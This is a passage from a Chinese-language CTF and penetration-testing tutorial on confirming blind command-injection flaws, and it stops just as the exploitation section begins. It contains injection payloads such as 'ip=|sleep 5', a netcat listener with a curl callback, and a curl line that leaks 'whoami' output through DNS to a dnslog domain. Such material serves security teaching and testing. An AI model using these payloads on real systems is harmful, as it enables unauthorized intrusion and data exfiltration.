前言
在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结。
判断方法
命令执行可能会存在命令执行但没有回显,所以首先要判断命令是否有执行。确定命令可以执行,然后就可以进行无回显命令执行的利用了。
1、审计代码
审计代码,根据代码逻辑判断(这个就需要扎实的审计代码能力的功底了)
2、利用延时
ip=|sleep 5
如果执行后延时5秒,就证明测试点存在命令执行漏洞
3、HTTP请求
注意:ping命令不会产生http请求
1.在公网服务器监听监听端口
nc -lp 4444
2.向目标服务器发起http请求,执行curl命令
ip=|curl ip:4444
如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞。
4、DNS请求
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现) 来源:安全脉搏
(1)首先去ceye.io
注册个账号,注册完后会给一个域名
我注册后给的域名是v4utm7.ceye.io
(2)如果有域名解析请求就会被记录。访问qwzf.v4utm7.ceye.io
,那么就会记录下来这个域名解析请求。
简单测试一下向目标服务器发起http请求,执行下面的命令
ip=|curl `whoami`.v4utm7.ceye.io
查看dnslog
若果得到执行结果(如上面执行whoami
命令,得到www-data
),就说明测试点存在命令执行。
利用方法
了解了无回显命令